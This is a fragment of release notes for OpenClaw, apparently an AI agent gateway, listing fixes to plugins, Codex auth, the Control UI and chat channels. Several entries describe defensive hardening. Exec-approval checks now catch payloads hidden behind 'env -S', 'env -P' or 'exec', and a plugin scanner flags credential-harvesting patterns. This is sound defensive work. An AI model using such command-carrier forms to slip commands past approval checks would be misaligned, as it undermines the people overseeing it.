<li>Auth/OpenAI Codex: rewrite invalidated per-agent Codex auth-order and session profile overrides toward a healthy relogin profile, so revoked OAuth accounts do not stay pinned after signing in again. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BunsDev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BunsDev">@BunsDev</a>.</li>
<li>Plugins/commands: scope QQBot framework slash commands to the QQBot channel so <code>/bot-*</code> command handlers and native specs do not leak onto unrelated chat surfaces. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>fix: harden backend message action gateway routing [AI]. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370609226" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76374" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76374/hovercard" href="https://github.com/openclaw/openclaw/pull/76374">#76374</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>.</li>
<li>Gate QQBot streaming command auth [AI]. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370611629" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76375" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76375/hovercard" href="https://github.com/openclaw/openclaw/pull/76375">#76375</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>.</li>
<li>Plugins/discovery: ignore managed npm plugin packages that only expose TypeScript source entries without compiled runtime output, so stale/broken installs cannot hide a working bundled or reinstallable channel plugin during setup. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>CLI/update: treat OpenClaw stable correction versions like <code>2026.5.3-1</code> as newer than their base stable release, so package updates no longer ask for downgrade confirmation. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugins/install: suppress dangerous-pattern scanner warnings for trusted official OpenClaw npm installs, so installing <code>@openclaw/discord</code> no longer prints credential-harvesting warnings for the official package. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugins/commands: suppress dangerous-pattern scanner warnings for trusted catalog npm installs from owner-gated <code>/plugins install</code> commands, so chat-driven installs match the CLI install trust path. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugins/release: make the published npm runtime verifier reject blank <code>openclaw.runtimeExtensions</code> entries instead of treating them as absent and passing via inferred outputs. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugins/security: ignore inline and block comments when matching source-rule context in plugin install scans, so comment-only <code>fetch</code>/<code>post</code> references near environment defaults do not block clean plugins. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Doctor/plugins: remove stale managed install records for bundled plugins even when the bundled plugin is not explicitly configured, so doctor cleanup cannot leave orphaned install metadata behind. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Web fetch: scope provider fallback cache entries by the selected fetch provider so config reloads cannot reuse another provider's cached fallback payload. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Web search: honor late-bound <code>tools.web.search.enabled: false</code> during tool execution so config reloads cannot leave an already-created <code>web_search</code> tool runnable. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugins/packages: reject inferred built runtime entries that exist but fail package-boundary checks instead of falling back to TypeScript source for installed packages. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugins/loader: do not retry native-loaded JavaScript plugin modules through the source transformer after native evaluation has already reached a missing dependency, avoiding duplicate top-level side effects. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugins/packages: reject blank <code>openclaw.runtimeExtensions</code> entries instead of silently ignoring them and falling back to inferred TypeScript runtime entries. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Doctor/plugins: remove stale managed npm plugin shadow entries from the managed package lock as well as <code>package.json</code> and <code>node_modules</code>, so future npm operations do not keep referencing repaired bundled-plugin shadows. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugins/runtime state: keep the key being registered when namespace eviction runs in the same millisecond as existing entries, so <code>register</code> and <code>registerIfAbsent</code> do not report success while evicting their own fresh value. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugins/providers: make bundled provider discovery honor restrictive <code>plugins.allow</code> by default for new configs, while doctor migrates legacy restrictive allowlist configs to <code>plugins.bundledDiscovery: "compat"</code> to preserve upgrade behavior. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dougbtv/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dougbtv">@dougbtv</a>.</li>
<li>Control UI/Talk: make failed Talk startup errors dismissable and clear the stale Talk error state when dismissed, so missing realtime voice provider configuration does not leave a permanent chat banner. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4373812807" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/77071" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/77071/hovercard" href="https://github.com/openclaw/openclaw/issues/77071">#77071</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ijoshdavis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ijoshdavis">@ijoshdavis</a>.</li>
<li>Control UI/Talk: stop and clear failed realtime Talk sessions when dismissing runtime error banners, so the next Talk click starts a fresh session instead of only stopping the stale one. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Control UI/Talk: retry from a failed realtime Talk session on the next Talk click instead of requiring a separate stale-session stop click first. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Canvas host: preserve the Gateway TLS scheme in browser canvas host URLs and startup mount logs, so direct HTTPS gateways do not advertise insecure canvas links. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>WhatsApp/login: route login success and failure messages through the injected runtime, so setup/onboarding surfaces capture all login output instead of only the QR. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Google Chat: create an isolated Google auth transport per auth client, so google-auth-library interceptor mutations do not accumulate across webhook verification and access-token clients. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Doctor/plugins: remove orphaned or recovered managed npm copies of bundled <code>@openclaw/*</code> plugins during <code>doctor --fix</code>, so stale package manifests cannot shadow the current bundled plugin config schema.</li>
<li>Control UI/performance: cap long-task and long-animation-frame diagnostics in the shared event log, so slow-render telemetry does not evict gateway/plugin events from the Debug and Overview views. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Gateway/startup: log the canvas host mount only after the HTTP server has bound, so startup logs no longer report the canvas host as mounted before it can serve requests.</li>
<li>Control UI/i18n: render the Sessions active filter tooltip with the configured minute count in every locale and make the i18n check reject placeholder drift. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BunsDev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BunsDev">@BunsDev</a>.</li>
<li>Web fetch: late-bind <code>web_fetch</code> config and provider fallback metadata from the active runtime snapshot, matching <code>web_search</code> so long-lived tools do not use stale fetch provider settings. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Discord: clear stale startup probe bot/application status when the async bot probe throws, not just when it returns a degraded probe result. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Web search: scope explicit bundled <code>web_search</code> provider runtime loading through manifest ownership, so selecting DuckDuckGo/Gemini/etc. does not import unrelated bundled providers or log their optional dependency failures. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugins/discovery: demote the source-only TypeScript runtime check on already-installed <code>origin: "global"</code> plugin packages from a config-blocking error to a warning and let the runtime fall through to the TypeScript source via jiti, so a single broken installed package no longer blocks <code>plugins install</code> for unrelated plugins; install-time rejection of newly-installed source-only packages is unchanged. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RomneyDa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RomneyDa">@RomneyDa</a>.</li>
<li>Providers/OpenAI Codex: stop the OAuth progress spinner before showing the manual redirect paste prompt, so callback timeouts do not spam <code>Browser callback did not finish</code> across terminals.</li>
<li>Providers/OpenAI Codex: fail closed on malformed <code>/codex</code> control commands and diagnostics confirmations before changing bindings, permissions, model overrides, active turns, or feedback uploads. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Providers/OpenAI Codex: sanitize Codex app-server command readouts, failure replies, approval prompts, elicitation prompts, and <code>request_user_input</code> text before posting them back into chat. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Providers/OpenAI Codex: preserve local bound-turn image paths, reject stale same-thread turn notifications, enforce option-only user input prompts, and return failed dynamic tool results to Codex as unsuccessful tool calls. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Providers/DeepSeek: expose DeepSeek V4 <code>xhigh</code> and <code>max</code> thinking levels through the lightweight provider-policy surface, so Control UI <code>/think</code> pickers keep showing the max reasoning options when the runtime plugin registry is not active. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4374344456" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/77139" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/77139/hovercard" href="https://github.com/openclaw/openclaw/issues/77139">#77139</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bittoby/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bittoby">@bittoby</a>.</li>
<li>Release/beta smoke: resolve the dispatched Telegram beta E2E run from <code>gh run list</code> when <code>gh workflow run</code> returns no run URL, so the maintainer helper does not fail immediately after dispatch. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Media/images: keep HEIC/HEIF attachments fail-closed when optional Sharp conversion is unavailable instead of sending originals that still need conversion. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Google Meet: fork the caller's current agent transcript into agent-mode meeting consultant sessions, so Meet replies inherit the context from the tool call that joined the meeting.</li>
<li>iOS/mobile pairing: reject non-loopback <code>ws://</code> setup URLs before QR/setup-code issuance and let the iOS Gateway settings screen scan QR codes or paste full setup-code messages. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BunsDev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BunsDev">@BunsDev</a>.</li>
<li>Control UI: keep Gateway Access inputs and locale picker contained inside the card at narrow and tablet widths.</li>
<li>Agents/trajectory: bound runtime trajectory capture and yield queued sidecar writes so oversized traces stop recording instead of monopolizing Gateway cleanup. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4374205763" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/77124" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/77124/hovercard" href="https://github.com/openclaw/openclaw/issues/77124">#77124</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/loyur/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/loyur">@loyur</a>.</li>
<li>Telegram/streaming: sanitize tool-progress draft preview backticks before shared compaction, so long backtick-heavy progress text still renders inside the safe code-formatted preview instead of collapsing to an ellipsis.</li>
<li>UI/chat: remove the unsupported <code>line-clamp</code> declaration from the chat queue text rule to eliminate Firefox console noise without changing visible truncation behavior. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ZanderH-code/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ZanderH-code">@ZanderH-code</a>.</li>
<li>Control UI: add explicit feedback for repeated actions by announcing session switches, flashing the active session selector, showing inline Save/Apply/Update progress, and distinguishing filtered-empty session lists from genuinely empty session stores. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BunsDev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BunsDev">@BunsDev</a>.</li>
<li>Agents/Pi: suppress persistence for synthetic mid-turn overflow continuation prompts, so transcript-retry recovery does not write the "continue from transcript" prompt as a new user turn. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Agents/tools: strip reasoning text from visible rich presentation titles, blocks, buttons, and select labels before message-tool sends, so structured channel payloads cannot leak hidden planning. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Telegram: keep reply-dispatch lazy provider runtime chunks behind stable dist names and delete <code>/reasoning stream</code> previews after final delivery so package updates and live reasoning drafts do not leave Telegram turns broken or noisy. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BunsDev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BunsDev">@BunsDev</a>.</li>
<li>Discord: start the gateway monitor without waiting for the startup bot/application probe, so WSL2 hosts with a slow <code>/users/@me</code> REST path still bring the channel online while status enrichment finishes asynchronously. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4373996492" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/77103" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/77103/hovercard" href="https://github.com/openclaw/openclaw/issues/77103">#77103</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Suited78/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Suited78">@Suited78</a>.</li>
<li>Exec approvals: detect <code>env -S</code> split-string command-carrier risks when <code>-S</code>/<code>-s</code> is combined with other env short options, so approval explanations do not miss split payloads hidden behind <code>env -iS...</code>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Google Meet: log the concrete agent-mode TTS provider, model, voice, output format, and sample rate after speech synthesis, so Meet logs show which voice backend spoke each reply.</li>
<li>Voice Call: mark realtime calls completed when the realtime provider closes normally, so Twilio/OpenAI/Google realtime stop events do not leave active call records behind. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Gateway/update: keep the shutdown close path behind a stable runtime chunk and ship compatibility aliases for recent <code>server-close-*</code> hashes, so manual npm package replacement cannot leave an already-running Gateway unable to shut down cleanly. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4373865331" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/77087" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/77087/hovercard" href="https://github.com/openclaw/openclaw/issues/77087">#77087</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/westlife219/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/westlife219">@westlife219</a>.</li>
<li>Control UI/media: mint short-lived scoped tickets for assistant media fetches and render ticketed URLs instead of exposing long-lived auth tokens in chat image URLs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4319425097" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70830" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/70830/hovercard" href="https://github.com/openclaw/openclaw/issues/70830">#70830</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4373888329" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/77097" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/77097/hovercard" href="https://github.com/openclaw/openclaw/issues/77097">#77097</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hclsys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hclsys">@hclsys</a>.</li>
<li>Exec approvals: treat POSIX <code>exec</code> as a command carrier for inline eval, shell-wrapper, and eval/source detection, so approval explanations and command-risk checks do not miss payloads hidden behind <code>exec</code>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Google Meet: log the resolved audio provider model when starting Chrome and paired-node Meet talk-back bridges, so agent-mode joins show the STT model and bidi joins show the realtime voice model.</li>
<li>Diagnostics: handle missing session-tail files in cron recovery context without tripping extension test typecheck. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>QA/Slack: update the Slack dispatch preview fallback test SDK mock for structured progress draft helpers, so the rich progress draft regression suite covers the new imports instead of failing before assertions run. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Release validation: allow focused QA live reruns to select Matrix and Telegram without running Slack, so known Slack credential-pool outages do not block non-Slack live proof. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugins/loader: keep bundled plugin package <code>test-api.js</code> aliases behind private QA mode, so source transforms do not expose test-only public surfaces during normal plugin loading. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Gateway/startup: start cron and record the post-ready memory trace even when deferred maintenance timers fail after readiness, so a non-fatal timer setup issue does not silently leave scheduled jobs idle. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Exec approvals: unwrap BSD/macOS <code>env -P &lt;path&gt;</code> carrier commands before approval-command and strict inline-eval checks, so <code>/approve</code> shell execution and inline interpreter payloads are still blocked behind that env form.</li>
<li>Agents/session status: keep semantic <code>session_status({ sessionKey: "current" })</code> on the live run session even before that run has a persisted session-store entry, instead of falling back to the sandbox policy key. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>QA/Slack: resolve bundled official plugin public-surface package aliases during source-mode QA runs, so release Slack live validation can load <code>@openclaw/slack/api.js</code> without workspace symlinks. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Codex: pass the live run session key into app-server dynamic tools when sandbox policy uses a separate session key, so <code>session_status({ sessionKey: "current" })</code> reports the active run instead of the sandbox policy key. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Web search: keep first-class assistant <code>web_search</code> auto-detect and configured runtime providers visible when active runtime metadata or the active plugin registry is incomplete. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4373814331" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/77073" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/77073/hovercard" href="https://github.com/openclaw/openclaw/issues/77073">#77073</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joeykrug/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joeykrug">@joeykrug</a>.</li>
<li>Plugins/tools: mark manifest-optional sibling tools as optional even when they come from a shared non-optional factory, so cached/status/MCP metadata keeps opt-in tool policy accurate. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Matrix: keep <code>streaming.progress.toolProgress</code> scoped to progress draft mode, so partial and quiet Matrix previews do not lose tool progress unless <code>streaming.preview.toolProgress</code> is disabled. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Gateway/validation: isolate gateway server validation files, ignore unrelated startup logs in request-trace coverage, and fail fast on stuck shared-auth sockets, reducing false main-branch CI failures for contributors. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</li>
<li>Channels/streaming: keep <code>streaming.progress.toolProgress</code> scoped to progress draft mode, so disabling compact progress lines does not silence partial/block preview tool updates. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugins/update: treat OpenClaw stable correction versions like <code>2026.5.3-1</code> as stable releases for npm installs, plugin updates, and bundled-version comparisons, so <code>latest</code> can advance official plugins without prerelease opt-in. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Control UI: point the Appearance tweakcn browse action and docs at the live tweakcn editor route instead of the removed <code>/themes</code> page. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4373717554" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/77048" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/77048/hovercard" href="https://github.com/openclaw/openclaw/issues/77048">#77048</a>.</li>
<li>Control UI: render Dream Diary prose through the sanitized markdown pipeline, so diary bold/italic/header markdown no longer appears as literal source text. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4216740824" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/62413" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/62413/hovercard" href="https://github.com/openclaw/openclaw/issues/62413">#62413</a>.</li>
<li>Control UI: render tool results whose output arrives as text-block arrays and give expanded tool output a scrollable block, so read/exec output remains visible in WebChat. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4373739359" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/77054" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/77054/hovercard" href="https://github.com/openclaw/openclaw/issues/77054">#77054</a>.</li>
<li>MCP: include serialized conversation/message payloads in the primary text content for <code>conversations_list</code> and <code>messages_read</code>, while preserving <code>structuredContent</code> for capable clients. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4373517492" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/77024" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/77024/hovercard" href="https://github.com/openclaw/openclaw/issues/77024">#77024</a>.</li>
